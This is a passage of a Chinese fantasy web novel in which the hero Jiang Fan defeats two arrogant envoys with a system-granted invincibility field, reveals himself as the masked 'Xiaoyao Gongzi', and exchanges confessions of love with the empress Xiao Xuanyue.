当江凡停下时,看着系统空间里堆积如山的各类物资,以及那还剩【1,350,000】的人气值,长长舒了口气。
一百三十五万,还够兑换一次【陆地神仙体验卡】。
“接下来,就是如何将这些物资合理地‘变’出来了。”
江凡摸着下巴,思索着。
粮食军需,可以借口是‘师门’通过特殊渠道秘密运抵,就像上次一样,让女帝派人秘密接收,然后火速发往前线。
百花楼的货物,可以直接让人去国公府库房‘提货’,反正姐姐不在,方便操作。
“我真是个劳碌命啊……”
江凡自嘲地笑了笑,但看着那些足以改变战局、改善民生的物资,心中又充满了成就感。
将海量的粮食、军需物资,以及那些为百花楼准备的奇物,分门别类、妥善地存放在镇国公府内一处早已腾空的大型库房后,江凡只觉身心俱疲。
看着那堆积如山的物资,想象着它们即将化作前线将士的饱饭、寒衣、良药,化作国库充盈的军饷,他心中又涌起一股满足感。
略作休息,换上身干净的侍卫常服,江凡再次入宫。
他需要将‘师门’再次‘支援’的物资,合理地交到女帝手中。
踏入御书房时,萧璇月正在批阅奏章,气色比昨日好了些许。
见到江凡,她放下朱笔,凤眸中闪过一丝柔和:
“回来了?事情可还顺利?”
“回陛下,一切顺利。”
江凡躬身行礼,声音平稳,
“师尊他老人家传讯,言道感念陛下为国辛劳,前方将士用命,特又筹措了一批粮草军资,约合精米五十万斤,压缩军粮八千箱。
各类伤药两千瓶,棉衣三万套,另有其他杂项军需若干。此刻已秘密运至臣府中库房。只是数量颇巨,需陛下派人秘密接收,转运入库,再行发往边关。”
现在还是让‘师尊’背锅,而跟萧璇月坦白之后,再想别的借口应对。
又是一批巨资!
萧璇月闻言,眼中瞬间爆发出惊喜的光芒。
她霍然起身,绕过龙案走到江凡面前,声音因激动而微微发颤:
“又又是五十万斤粮食?还有军粮、药品、棉衣?逍遥前辈…他…他真是…”
她看着江凡,看着他脸上的些许疲惫,心中感动、依赖,以及那份几乎要满溢出来的情愫,再次汹涌澎湃。
她知道,没有什么‘师门’,这一切,都是眼前这个看似惫懒、实则胸怀天下的少年,在默默地为她,为大夏,倾尽所有。
他每次拿出这些东西,恐怕都要付出不为人知的代价。
“江凡…”
她下意识地伸出手,似乎想握住他的手,却在指尖即将触碰的瞬间,猛地惊醒,强自克制地收了回来。
只是那双凤眸,已盈满了水光,目光灼灼,
“代朕…不,替我,多谢尊师。此恩此德,璇月…永世不忘。”
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她第一次,在江凡面前,用了‘我’和名字自称。
江凡心头一颤,不敢与她那过于灼热的目光对视,连忙低下头,拱手道:
“陛下言重了。师尊常说,能力越大,责任越大。此乃分内之事。还请陛下速派可靠人手,前往接收。”
“好,好!”萧璇月连声应下,立刻唤来云暮,低声吩咐几句。
云暮领命,匆匆出去安排。
这次,萧璇月直接动用了最核心的皇城司精锐,并调拨了整整两千人马,以‘押运特殊军械’为名,由江凡亲自带领,再次出城,前往‘交接’。
又是一番紧张的忙碌。
等江凡带着车队,将那批足以改变战局的物资秘密运回皇家内库,完成交割,再返回皇宫复命时,日头已然西斜,大半天过去了。
回到御书房,江凡只觉得骨头都快散架了,只想赶紧告退,回府好好睡上一觉,顺便琢磨一下如何‘合理地’将百花楼那批货物也移交出去。
然而,他刚躬身,准备开口告辞,御书房外忽然传来一阵急促杂乱的脚步声,伴随着太监惊慌失措的通报:
“陛…陛下!不好了!宫外…宫外**了大批士子百姓,还有…还有之前被罢官的王守仁等几位大人领头,他们…他们打着横幅,高声喧哗,说…说陛下…”
太监的声音因恐惧而结巴,后面的话似乎不敢说出口。
萧璇月眉头一皱,凤眸中闪过一丝寒意:
“说什么?吞吞吐吐,成何体统!讲!”
“他们说…说陛下昏聩,宠信佞臣,偏袒江侍卫,纵其渎职枉法,是…是**之兆!要求陛下收回对江侍卫的封赏,严惩…严惩江侍卫,并…并下罪己诏!”
太监噗通一声跪倒在地,以头抢地,颤声说完。
“混账!”萧璇月勃然大怒,一掌拍在龙案上,震得笔架砚台乱跳!
她脸色铁青,眼中杀机毕露,
“这群腐儒!冥顽不灵!朕念他们往日有些薄名,准其辞官,已是仁至义尽!竟敢聚众**,诽谤君上,还敢逼宫?!真当朕的刀不利吗?!”
第237章 武神殿特使
萧璇月凤眸含煞,显然动了真怒。
这些官员仗着所谓的‘清议’和人多势众,竟敢公然挑战皇权,甚至诅咒国运,简直罪无可赦!
江凡的眉头也紧紧皱起。
他本人对官职去留毫不在意,甚至乐得清闲,但这些人如此不依不饶,将矛头直指萧璇月,诋毁她的声誉,这是他绝不能容忍的。
就在萧璇月深吸一口气,准备下令御林军将宫门外**者全部驱散,首要分子抓入天牢严加拷问之时。
又一名传令兵疾奔而入,神色甚至比刚才的太监更加惊慌,单膝跪地声音急促:
“报——!陛下,宫外有…有两名自称是‘武神殿’特使的男子求见!他们气息…深不可测,守宫门的侍卫只是靠近些,便觉呼吸困难!
他们指名要见陛下,说是…要询问关于‘逍遥公子’以及斩杀沧溟子一事!”
御书房内的空气瞬间凝固!
萧璇月即将出口的雷霆之令硬生生卡在喉咙里,她猛地转头,目光第一时间投向江凡,眼中充满了担忧与询问。
该来的,终究还是来了,而且来得如此之快,偏偏选在这个内部纷争乍起的敏感时刻!
江凡迎着女帝的目光,心中最后一丝‘苟着’的侥幸也彻底烟消云散。
看来自己的担心没有错,武神殿果然不是什么大度的势力!
他深深叹了口气,脸上的慵懒和随意褪去。
他看向萧璇月,语气平静:
“陛下,看来想清静一会儿都是奢望了。既然如此,索性一并解决了吧。请陛下传旨,将宫门外**的那些人,以及那两位武神殿的‘贵客’,都请到皇宫前的中央广场上去。我们,去会会他们。”
萧璇月看着江凡眼神的变化,那是‘逍遥公子’才会有的、睥睨一切的眼神!
难道他不准备装了...
她心中一定,毫不犹豫地点头,对传令兵斩钉截铁道:
“按江侍卫说的办!传朕旨意,开放宫门,将王御史一干人等,以及武神殿特使,全部引至中央广场!御林军**广场四周,没有朕的命令,任何人不得擅动,但也不得无礼!”
命令迅速下达。
萧璇月站起身,整理了一下龙袍,看了一眼江凡。
江凡微微颔首,示意她放心。
两人并肩,在云暮及一众紧张万分的侍卫宦官簇拥下,迈步走向那即将迎来风暴的皇宫广场。
广场之上,气氛已然对立。
一边是以王御史为首的被罢官员,以及他们煽动而来的数百名学子士绅,黑压压跪了一片。
口中高呼着‘陛下明鉴’、‘清除奸佞’、‘国法如山’等口号,群情激愤,仿佛受了天大的冤屈。
而另一边,则孤零零站着两名身穿奇异纹路黑袍、面色倨傲的中年男子。
他们负手而立,眼神淡漠地扫过眼前这场‘闹剧’,嘴角甚至挂着一丝若有若无的嘲讽笑意。
这两人气息内敛,但周身隐隐散发出的威压,却让靠近他们的御林军士兵感到心悸,正是武神殿的特使。
萧璇月与江凡一行人登上广场前的高台。
女帝威仪凛然的目光先扫过跪地的众人,最后落在为首的王御史身上,声音冰冷:
“王守仁,尔等聚众宫门,喧哗哭诉,诽谤君上,诅咒国运,究竟意欲何为?!”
那王御史见到女帝亲临,挣扎着抬起头,一副忠臣死谏的悲壮模样,声音嘶哑地喊道:
“陛下!臣等一片忠心,可昭日月!江凡此子,身为御前侍卫,**,屡屡缺席,尤其昨夜宫变,更是踪影全无!
陛下非但不予惩处,反而屡加超擢,赐黄马褂,享亲王俸,纵其嚣张!这岂是明君所为?如今外界传言纷纷,皆道陛下与江世子关系…
关系匪浅,有损圣德,动摇国本!臣等**,乃是为国尽忠,陛下岂能因私废公,罢黜忠良?!臣等不服!天下士子不服!”
他这番话,可谓恶毒至极,不仅咬死江凡失职,更将暧昧的污水直接泼向女帝,试图用‘名节’和‘**’来**她。
萧璇月气极反笑,笑声中带着无尽的寒意:
“好一个为国尽忠!好一个天下士子不服!王守仁,你口口声声说朕偏袒,说江凡失职,朕且问你:
朕乃一国之君,尚未婚配,即便真与何人亲近,又干卿何事?需要向你汇报不成?至于江凡的职责,朕自有考量,何须向你解释?”
这话已是极其强硬,近
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乎直白地承认了她对江凡的‘特殊’。
那些**的士子和官员也愣住了,没想到女帝会如此‘坦荡’甚至‘蛮横’地回应!
这…这简直是不按常理出牌!
王守仁也是一窒,但很快反应过来,抓住金刀侍卫的身份不放:
“陛下!就算…就算陛下对江凡有意,可他首先是御前金刀侍卫!是朝廷命官!享朝廷俸禄,担护卫之责!岂可因私废公?
他屡次失职是实,陛下超格封赏是实!臣等依律**,何错之有?陛下岂可因私情而废国法,罢黜直言进谏之臣?此非明君所为!”
“够了!”
江凡忽然冷喝一声,打断了王守仁的喋喋不休。
他本不想理会这些苍蝇,但他们没完没了地攀咬,还将污水泼到萧璇月身上,实在令人厌烦。
他迈步上前,与萧璇月并肩而立,目光平静地看向王守仁等人:
“你们**我,无非是觉得我德不配位,尸位素餐。可以,这金刀侍卫,这御前行走,这黄马褂,这亲王俸禄…
陛下所赐一切,我现在就可以还回去。甚至,我可以立刻辞官,永不入朝。这样,你们满意了吗?”
他这话一出,所有人都是一愣。
王守仁等人更是有些不敢相信自己的耳朵。
江凡…竟然这么轻易就答应了?
这和他们预想的激烈反抗、女帝强行维护的场景完全不同啊!
萧璇月也是心头一紧,下意识地看向江凡,却见他对自己微微摇头,递过一个放心的眼神。
她咬了咬唇,没有出声。
王守仁愣神之后,立刻道:
“江世子若能主动辞官,归还封赏,自是识得大体!然,你之前渎职之过,又当如何?”
“如何?”江凡笑了,笑容有些冷,
“我是否渎职,昨夜是否该在宫中,自有陛下圣裁,轮不到你们置喙。我今日辞官,非是认罪,只是懒得与你们这群只知空谈、不知实务、只会以‘死谏’逼宫、行党同伐异之实的腐儒纠缠!”
他不再看脸色铁青的王守仁等人,转身,目光投向那两名一直冷眼旁观的武神殿特使,语气转冷:
“我的事,说完了。现在,该你们了。”
第238章 衣角都没乱
“武神殿的特使是吧?”
江凡目光平静,直视那两名黑衣人,
“找我师尊?想问沧溟子之事?”
两名黑衣人这才正眼看向江凡,其中一人,面容瘦削,眼神阴鸷,上下打量了江凡一番,嘴角扯出一抹讥诮的弧度:
“你便是那‘逍遥公子’的徒弟,江凡?倒是生了一副好皮囊,难怪能迷惑女帝。不过,修为嘛…马马虎虎,刚入极道的样子?就凭你,也配代表你师尊跟我们说话?”
他语气中的轻蔑毫不掩饰,仿佛在点评一只蝼蚁。
江凡并不动怒,只是淡淡道:
“配不配,你说了不算。我师尊行事,自有他的道理。沧溟子助纣为虐,犯我大夏,死有余辜。你们武神殿若识趣,此事便到此为止。若是不识趣…”
他顿了顿,声音陡然转寒:
“我可以代表师尊告诉你们——若不想让你们那所谓的‘武神殿’,从这片大陆上除名,就立刻,滚。”
静!
死一般的寂静!
所有人都**凡这番话震得目瞪口呆!
包括萧璇月和她身边的供奉!
面对两名明显实力深不可测的武神殿陆地神仙特使,江凡非但没有丝毫畏惧,反而说出了比‘逍遥公子’当日更霸道、更直接的威胁——让武神殿除名?
这…这是何等的狂妄!
何等的…不知死活?
那两名武神殿特使脸上的讥诮瞬间凝固,随即化为惊愕,继而转为滔天的暴怒!
他们身为武神殿特使,行走大陆,哪个王朝帝国、宗门大派不是对他们毕恭毕敬,礼遇有加?
何曾被人如此当面呵斥,甚至威胁要‘除名’武神殿?
而且,威胁他们的,还是一个看起来乳臭未干、刚刚踏入极道宗师门槛的小子?
就算武神殿出去一条狗,也得被当成神犬供着,这小子怎么敢的?
“小辈!你找死!”
那阴鸷特使勃然大怒,眼中杀机暴涨,身形一晃消失在原地,下一瞬,已出现在江凡身前三尺之处,一只干瘦直插江凡咽喉!
速度快到极致,狠辣到极致!
显然是要一击必杀,既教训这个不知天高地厚的小子,也是要逼出他背后的‘逍遥公子’!
这一爪,蕴含着陆地神仙的恐怖威能,爪风未至,那凌厉的气劲已然让江凡身后的萧璇月呼吸一窒,脸色发白!
玄老等供奉更是骇然色变,想要救援已然不及!
这武神殿的人果然霸道,一言不合就下**!
“小心!”萧璇月失声惊呼。
然而,面对这足以秒杀寻常极道宗师的致命一击,江凡却只是静静地站在原地,甚至…连眼皮都没抬一下。
他心中轻轻一叹。
终究,还是走到了这一步。
苟着发育、闷声发财的平静日子,看来是彻底到头了。
“系统,兑换并开启【无敌领域】”
【叮!消耗人气值1,000,000点!无敌领域(半径三十米)已开启,持续时间:60秒。】
一股无形无质、却又仿佛凌驾于世间一切法则之上的玄奥力场,以江凡为中心,悄然展开,笼罩了整个高台及前方大片广场区域。
在这领域之内,江凡便是绝对的主宰,言出法随,万法不侵!
下一瞬,在所有人惊骇的目光注视下,发生了令他们永生难忘的一幕:
那气势汹汹、携带着毁天灭地般陆地神仙威能扑杀而来的刀疤脸特使,身形猛地僵在了半空!
他周身沸腾汹涌的恐怖真气、凌厉无匹的杀气,都在这一瞬间彻底凝固!
然后,他那令人窒息的威压、澎湃的真气,竟然迅速消散、湮灭,没有留下丝毫痕迹!
前一秒还是撼天动地的陆地神仙,下一秒,就变成了一个悬在半空、徒具其形、连一丝真气波动都感应不到的‘空壳’!
这违反常理、颠覆认知的一幕,让整个广场陷入了死一般的寂静。
所有人,全都瞪大了眼睛,张大了嘴巴,大脑一片空白,完全无法理解眼前发生的一切。
那可是陆地神仙啊!
是传说中的存在!
是能移山填海、寿命千载的绝世强者!
他全力一击,就这么…没了?
人还被定在了空中?
这…这怎么可能?
就在这极致的寂静与震惊中,江凡缓缓放下按出的右手,对着那僵在半空、眼
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中只剩下无边恐惧的刀疤脸特使,随意地一挥衣袖。
“砰!”一声闷响。
刀疤脸特使如同断了线的风筝,毫无反抗之力地倒飞出去,重重摔在数十丈外的青石地面上,砸出一个浅坑。
他‘哇’地喷出数口夹杂着内脏碎块的鲜血,脸色瞬间灰败,气息萎靡到了极点。
体内经脉寸断,丹田破碎,苦修数百年的陆地神仙修为,在这一袖之下,尽数化为乌有!
彻底成了一个废人!
“师弟!!”
另一名武神殿特使直到此刻才从无边的震撼中回过神来,发出一声又惊又怒的嘶吼。
他简直不敢相信自己的眼睛!
师弟乃是实打实的陆地神仙初期高手,竟被对方如此轻描淡写随手废掉?
这逍遥公子的徒弟,到底是什么怪物?
不,不对!
这绝不是一个徒弟能有的力量!
是逍遥公子!
一定是逍遥公子暗中出手了!
惊怒交加之下,这第二名特使眼中凶光爆闪,也顾不上什么以大欺小了,狂吼一声。
周身爆发出更胜恐怖的气息,陆地神仙中期的修为展露无遗!
他双手结印,一柄完全由精纯真元凝聚的长矛瞬间成型,就要朝着江凡暴射而去!
他要逼出暗处的逍遥公子,为师弟报仇!
然而,江凡只是淡漠地瞥了他一眼,甚至连手指都懒得动一下,只是心念微动。
“咔嚓、咔嚓、咔嚓…”
一阵令人头皮发麻的骨骼碎裂声,骤然从那第二名特使身上响起!
他凝聚到一半的真元火焰长矛轰然溃散,整个人四肢、躯干、甚至头骨,都出现了不正常的扭曲和塌陷!
他连惨叫都没能完整发出,只发出一声短促的闷哼,便瘫软在地,口中鲜血狂涌,气息奄奄。
虽然修为未被废,但全身骨骼断了不知多少,已然彻底失去了战斗力。
从第一名特使暴起发难,到两人一废一重伤瘫倒在地,整个过程,不过短短两三息时间!
快到众人甚至还没从第一个震撼中回过神来,第二个震撼已然接踵而至!
江凡站在原地,甚至连衣角都没有乱。
第239章 他一直都在
江凡缓缓收回目光,仿佛只是做了两件微不足道的小事。
他看向瘫在地上的两位武神殿特使,声音平静:
“今日留你们性命,非是本公子仁慈。”
他顿了顿,每一个字都清晰无比:
“是要你们滚回去,告诉武神殿那些所谓的高层——沧溟子助纣为虐,死有余辜。此事,到此为止。
若武神殿识趣,从此约束门下,永不踏足大夏,永不寻衅,之前恩怨,或可作罢。”
他的目光骤然转厉,一股比之前更加恐怖的杀意弥漫开来:
“若尔等不识抬举,执意纠缠,甚至敢动我大夏子民、伤我身边之人一根汗**…”
“那本世子不介意,亲自走一趟,将这所谓的‘武神殿’,从这片大陆上——”
“连根拔起,彻底抹去!”
“届时,莫说尔等,便是武神殿传承万载的基业,也将灰飞烟灭,寸草不留!”
这最后的话语,已不再是警告,而是宣判!
是对一个凌驾大陆的庞然大物,发出的最终、也是最严厉的死亡通牒!
两名武神殿特使瘫在地上,听着这如同来自九幽地狱的宣判,只觉得一股寒气从脚底板直冲天灵盖,灵魂都在颤抖!
他们毫不怀疑,眼前这个人,真的有这个能力,也有这个决心!
那诡异莫测、完全无法理解的力量,瞬间废掉陆地神仙的手段…这已经完全超出了他们的认知范畴!
巨大的恐惧彻底淹没了愤怒和**。
两人面如死灰,挣扎着对视一眼,都看到了对方眼中的绝望和退意。
刀疤脸特使颤巍巍地从怀中摸出一颗保命丹药吞下,勉强吊住一口气。
另一人也咬牙吞下丹药,忍着浑身碎骨剧痛,艰难地互相搀扶起来。
再不敢看江凡一眼,更不敢有半句废话,狼狈不堪地朝着宫门方向挪去,很快便消失在众人的视线中。
直到武神殿特使的身影彻底消失,广场上那令人窒息的死寂才被打破,所有人都是一副震撼、恐惧以及茫然的表情。
众人的目光,都呆呆地聚焦在了高台上,那个依旧穿着普通金刀侍卫玄色劲装、身姿挺拔、面容年轻的江凡身上。
这…这真的是那个传言中惫懒贪玩、靠着父亲和师尊荫庇的纨绔世子江凡?
这真的是那个被他们屡次**‘**’、‘德不配位’的金刀侍卫?
挥手间,废掉一位陆地神仙,重创另一位!
逼得威名赫赫的武神殿特使狼狈逃窜,连句狠话都不敢放!
甚至放言要抹去整个武神殿!
这…这简直是神话!
是魔神降世!
王御史等人早已面无人色,浑身抖如筛糠,之前慷慨激昂、以死相逼的气势荡然无存,只剩下无边的恐惧和后怕。
他们居然…居然在**这样一位存在?
在质疑女帝对他的偏袒?
这哪里是偏袒?
这分明是供着一尊随时能毁灭一切的杀神啊!
“你、你…”
王御史嘴唇哆嗦着,指着江凡,想要说些什么,却发现自己连一句完整的话都说不出来。
江凡的目光,终于从武神殿特使消失的方向,缓缓移到了跪伏在地的王御史等人身上。
他忽然笑了。
那笑容很淡,甚至带着一丝玩味,可落在王御史等人眼中,却让他们肝胆俱裂!
“看来,是时候摊牌了...我不装了。”
江凡轻轻开口,声音不大,却传遍寂静的广场,
“本想以普通人的身份跟你们相处,奈何换来的却是疏远、猜忌和没完没了的**。”
他摇了摇头,仿佛有些无奈,又有些释然。
下一刻,在所有人惊骇欲绝的目光中,他身上的玄色侍卫劲装,忽然流转变幻,瞬间化作一袭纤尘不染、飘逸出尘的月白长衫!
与此同时,一件金色的华丽披风,无风自动,悄然出现在他肩后,迎风轻扬,贵不可言!
而他的脸上,则如同变戏法般,覆盖上了一张青铜面具!
月白长衫!金色披风!青铜面具!
这身装扮,这身气质,与昨夜在宫门前大展神威、掌毙沧溟子、被陛下追封为‘护国圣师’的——逍遥公子!
一模一样!
不,不是一模一样!
眼前这人,根本就是逍遥公子本尊!
“没错。”
江凡负手而立,声
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音透过面具传出,带着一种俯瞰众生的漠然与平静,
“我,江凡,便是逍遥公子。从来没有什么神秘的师尊,所谓的‘师徒’,不过是为了行事方便,掩人耳目罢了。”
轰——!!!
这简简单单的一句话,如同万道惊雷,在广场上每一个人脑海中炸响!
将所有残存的侥幸、怀疑、不解,炸得粉碎!
江凡就是逍遥公子!
逍遥公子就是江凡!
那个救了女帝数次、献上无数利国利民奇物秘方、拿出百万斤粮食、昨夜力挽狂澜诛杀叛逆和海外强敌、被追封为护国圣师的绝世高人——
逍遥公子,竟然一直就在他们身边!
就是那个被他们屡次三番**、讥讽、看不起的纨绔世子、金刀侍卫江凡!
难怪!
难怪女帝对他如此‘偏袒’!
赐黄马褂,享亲王俸,见官不拜,御前行走…这哪里是偏袒?
这分明是酬功!
是对于一位屡次拯救国家、功高盖世的‘护国圣师’应有的礼遇和尊敬!
而他以‘江凡’身份所做的‘失职’之事,恰恰是因为他正在以‘逍遥公子’的身份,做着更惊天动地、关乎国运的大事!
他们**江凡‘在女帝有危险时不在身边’?
简直滑天下之大稽!
每次女帝遇险,力挽狂澜的‘逍遥公子’,就是他江凡本尊!
他一直都在!
一直都在以另一种方式,用生命和力量守护着女帝,守护着大夏!
巨大的荒谬感、羞愧感、以及无地自容的懊悔淹没了王御史等所有人。
他们之前所有的‘正义凛然’、‘据理力争’,此刻都变成了最可笑、最可悲的跳梁小丑行径!
他们感觉自己脸上火辣辣的,仿佛被无形的耳光反复抽打,恨不得立刻找条地缝钻进去!
萧璇月站在高台上,看着那个终于褪去所有伪装傲然而立的男子,眼中水光盈盈。
激动、骄傲、释然、还有一丝终于等到的甜蜜,种种情绪交织,让她心潮澎湃,难以自已。
他终于,肯走到阳光下了!
云暮也激动地握紧了拳头,眼中满是欣喜。
第240章 早就知道了
萧璇月深吸一口气,压下翻腾的心绪,目光扫过下方那些面如死灰、恨不得原地消失的众人,声音恢复了帝王的清冷与威严:
“现在,尔等还有何话可说?”
“臣等…臣等有眼无珠!冒犯天威!亵渎圣师!罪该万死!”
王御史第一个反应过来,以头抢地,磕得砰砰作响,声音带着哭腔和无比的恐惧,
“臣等愚钝,不知江…不知逍遥圣师真身,妄加揣测,肆意**,实乃罪大恶极!求陛下、求圣师开恩!饶臣等狗命啊!”
“求陛下、圣师开恩!饶命啊!”
其余人等也如梦初醒,纷纷磕头如捣蒜,哭喊声、求饶声响成一片。
哪里还有半分之前‘死谏’的‘风骨’?
在绝对的实力和颠覆性的真相面前,所有的倚仗和伪装都脆弱得不堪一击。
江凡漠然地看着他们,如同看着一群蝼蚁。
他转向萧璇月,微微躬身,声音带上了一丝尴尬和歉意:
“陛下,此前隐瞒身份,实有不得已之苦衷。并非有意欺瞒陛下与朝廷,还请陛下恕罪。”
萧璇月看着他躬身,心中一软,又有些好笑。
这家伙,都这时候了,还装模作样。
她摆了摆手,对下方的众人冷声道:
“尔等聚众**,诽谤君上,亵渎圣师,本应严惩!然圣师既已显圣,朕亦不愿多造杀孽。
全部革去功名,逐出京城,永不录用!若再有非议圣师、扰乱朝纲之言行,定斩不饶!滚!”
“谢陛下不杀之恩!谢圣师不杀之恩!”
王御史等人如蒙大赦,哪里还敢停留,连滚爬爬,互相搀扶着,如同丧家之犬般仓皇逃离了广场,生怕慢一步就会身首异处。
很快,广场上便清静下来,只剩下御林军和少数心腹侍从。
萧璇月转头看向江凡,目光灼灼,其中蕴含的复杂情感几乎要溢出来。
她强忍着扑进他怀中的冲动,维持着帝王的仪态,轻声道:
“江…逍遥前辈,随朕去御书房一叙。”
她刻意用了‘前辈’这个称呼,带着一丝只有两人才懂的调侃。
江凡无奈,只得点头:
“遵旨。”
两人并肩,在云暮和侍卫的簇拥下,离开了广场,朝着御书房走去。
一路上,所有宫人侍卫,看向江凡的目光,已彻底变成了狂热无比的敬畏与崇拜。
逍遥公子!护国圣师!
原来就是他们身边的江侍卫!
这消息,恐怕用不了多久,就会如同风暴般席卷整个皇宫,乃至整个京城!
来到御书房前,萧璇月挥退了所有侍卫宫女,只留下云暮。
她对云暮使了个眼色,云暮会意,脸上带着促狭的笑意,轻轻为两人推开御书房的门,待他们进去后,又轻轻关上,然后守在了门外,不许任何人靠近。
厚重的殿门关闭,隔绝了外界的一切。
御书房内,檀香依旧,烛火摇曳,气氛却与往日截然不同。
江凡刚想开口说些什么,解释一下,或者正式地道个歉。
眼前人影一晃,带着熟悉的馨香,萧璇月已经如同乳燕投林般,不管不顾地扑进了他的怀中。
一双粉拳如同雨点般,没什么力道地捶打着他的胸膛,声音带着哭腔,又充满了娇嗔和后怕:
“你这个冤家!混蛋!坏人!终于…终于肯跟朕说实话了?你知道朕等这一天,等了多久吗?
你知道朕每天看着你在朕面前装模作样,心里有多难受吗?你吓死朕了!刚才…刚才那两个武神殿的人…”
她语无伦次,泪水瞬间打湿了江凡胸前的衣襟。
所有的坚强、伪装、帝王的威严,在这一刻,在这个她倾尽所有感情、终于肯以真面目相对的男人面前,彻底崩塌。
只剩下一个受尽委屈、担忧害怕、又欣喜若狂的小女子。
江凡被她扑得一愣,感受着怀中娇躯的颤抖和滚烫的泪水,心中最后一丝紧张和顾虑也烟消云散。
他抬起手,有些笨拙,却异常坚定地,轻轻环住了她纤细的腰肢,任由她发泄着情绪。
等她捶打的力道渐渐小了,哭声渐止,只剩下压抑的抽泣时,江凡才苦笑着开口,声音带着无奈和一丝好奇:
“陛下…你…你怎么好像一点都不惊讶?你早就知道了?”
萧璇月从他怀中抬起头,泪眼朦胧,脸上却露出一个带着泪花的、狡黠又
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得意的笑容,她皱了皱小巧的鼻子,哼道:
“当然!你以为你伪装得很好吗?破绽太多了!”
她掰着手指头,如数家珍:
“第一,每次得罪你,或者得罪你父亲镇国公的人,很快就会被《深宫秘恋》里某个反派角色‘对号入座’,下场凄惨。哪有那么巧的事情?”
“第二,西山狩猎遇险,朕醒来后,为了试探,也为了…感谢‘逍遥公子’,将随身带着的暖玉偷偷放在你身上。结果你呢?回来后跟朕说,是你‘捡’到的!
那块玉,除了朕,只有‘碰’过朕身子的‘逍遥公子’有可能拿到!你这不是不打自招吗?”
“第三!”她眼中闪烁着智慧的光芒,
“朕让你抄写佛经静心,结果发现,你的字迹,与《深宫秘恋》最初几期流传的手抄本上,某些批注和特殊符号的笔锋韵味,有七八分相似!
虽然你刻意改变了整体字体,但一些细微的书写习惯,是改不掉的!朕自幼临摹名家字帖,对笔迹最为敏感!”
“还有,每次朕逼你叫‘师尊’来见朕,你都推三阻四,要么闭关,要么云游。可一旦朕或者大夏真的遇到危险,‘逍遥公子’总能及时出现。
而且你和逍遥公子从来没有同时出现过,并且很多时候都是逍遥公子刚刚消失,你就恰好出现。
一次两次是巧合,次次都这样,再加上你时不时能拿出那些闻所未闻的奇物、粮食…朕若是再猜不到,岂不是真成了昏君?”
江凡听得目瞪口呆,脸上阵阵发热。
他自以为天衣无缝的伪装,在萧璇月眼里,竟然漏洞百出,处处都是马脚!
难怪她后来看自己的眼神越来越奇怪,说话也总是意有所指…
原来,她早就把‘江凡’和‘逍遥公子’画上了等号!
自己还像个傻子一样,在那里拼命演戏,自我感觉良好…
“你、你既然早就知道了,为什么不拆穿我?还…还陪我演了那么久的戏?”
江凡有些尴尬,又有些感动。
她明明看穿了,却一直配合着他,纵容着他,甚至在他‘装傻’的时候,一次次用那种深情又‘古怪’的方式试探他、逼他。
第241章 留宿皇宫吧
萧璇月看着他尴尬的模样,心中又是好笑,又是酸涩。
她伸出手,轻轻抚上他脸上的青铜面具,目光温柔得能滴出水来:
“因为朕在等你啊,笨蛋。朕一直在等你亲口告诉朕,等你愿意以真面目面对朕的那一天。朕说过很多次,‘朕心里喜欢的,自始至终,都只有一个人。’是你自己听不懂,或者…不敢懂。”
她顿了顿,语气带着一丝委屈和幽怨:
“至于逼你叫‘师尊’…也不全是逗你。有时候,朕也想,既然你非要戴着这层面具,那朕就只对‘逍遥公子’说心里话,只对‘逍遥公子’撒娇耍赖。
只对‘逍遥公子’表明心迹。因为只有面对‘逍遥公子’的时候,朕才能暂时放下女帝的身份,做一个可以任性、可以脆弱、可以毫无保留去爱的普通女子。”
她的声音越来越低,越来越柔,目光却越来越亮:
“江凡,无论你是以侍卫的身份,还是以逍遥公子的身份;无论你拥有陆地神仙的修为,还是像你之前骗朕说的,需要依靠法宝、甚至会变成糟老头子;
无论你还有多少秘密没有告诉朕…朕都不在乎。朕心悦的,是你这个人,是江凡,也是逍遥公子。
所以,不要再离开朕了,好吗?就留在朕身边,以任何身份,甚至和别的姐妹一起...都可以。朕…需要你。”
这番深情至极的告白,彻底驱散了江凡心中最后一丝顾虑。
他看着眼前这个为他流泪、为他欢笑、为他担惊受怕、又聪慧得看穿他一切却依旧深情不渝的女子,胸腔中被一股满溢的情感充斥得几乎要炸开。
他不再犹豫,手臂收紧,将她深深地拥入怀中,仿佛要融为一体。
他撤去身上的金色披风和面具,低下头,额头轻轻抵着她的额头,声音沙哑,却充满了坚定与温柔:
“嗯,不走了。以后,都不走了。大夏,我帮你一起守。武神殿,我替你一并挡。那些乱七八糟的麻烦,我帮你全解决。你只需要,安心做你的女帝,做我的…月儿。”
最后两个字,他叫得极轻,却如同惊雷,炸响在萧璇月心间。
这是她的闺名,除了已故的父皇母后,再无人知晓,也无人敢叫。
泪水再次汹涌而出,却是喜悦的泪水。
她用力点头,踮起脚尖,主动吻上了他的嘴唇。
江凡身体一僵,随即一股热血直冲头顶。
他再也按捺不住,两人的唇,终于毫无阻碍地、紧密地贴合在一起。
所有的伪装、顾虑、试探、等待,在这一刻,都化为了炽热汹涌的情感洪流,将两人彻底淹没。
不知过了多久,直到两人都气息不稳,才恋恋不舍地分开。
萧璇月脸颊绯红,眼波流转,美得惊心动魄。
她靠在江凡怀中,听着他同样急促的心跳,心中被无边的幸福和踏实感填满。
忽然,她像是想起了什么,轻轻推开江凡一些,故意板起脸,只是那红晕未退的脸颊和眼中的笑意出卖了她:
“对了,有件事朕还没跟你算账呢!”
“嗯?什么?”
江凡正沉浸在柔情蜜意中,有些茫然。
“你进宫当侍卫之前,就开始写那个《深宫秘恋》的话本了对不对?”
萧璇月眯起凤眸,带着一丝危险的‘审问’意味,
“那时候你了解朕吗?就敢那样瞎写?什么女帝暗恋侍卫,什么宠幸纨绔,还、还写得那么…
那么让人面红耳赤!你知不知道,那些情节流传出去,对朕的名声有多大影响?嗯?”
江凡顿时尴尬得脚趾抠地,干笑两声:
“那个…陛下,艺术创作,需要一点戏剧冲突嘛…不写得夸张点,跌宕起伏点,没人看啊…
而且,我那不是为了帮陛下您稳固权位,引导**嘛…你看效果不是挺好的?”
他越说声音越小,毕竟把当朝女帝写成‘恋爱脑’,还各种‘暧昧互动’,确实有点…那啥。
尤其是现在被正主堵在御书房,让他有种做坏事被抓包的感觉。
萧璇月看他这副窘样,心中暗笑,却依旧板着脸:
“那话本的
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销量,对你来说,是不是特别重要?”
江凡心中一动,这个问题不好回答。
但看着萧璇月清澈执着的目光,他犹豫了一下,还是认真地点了点头:
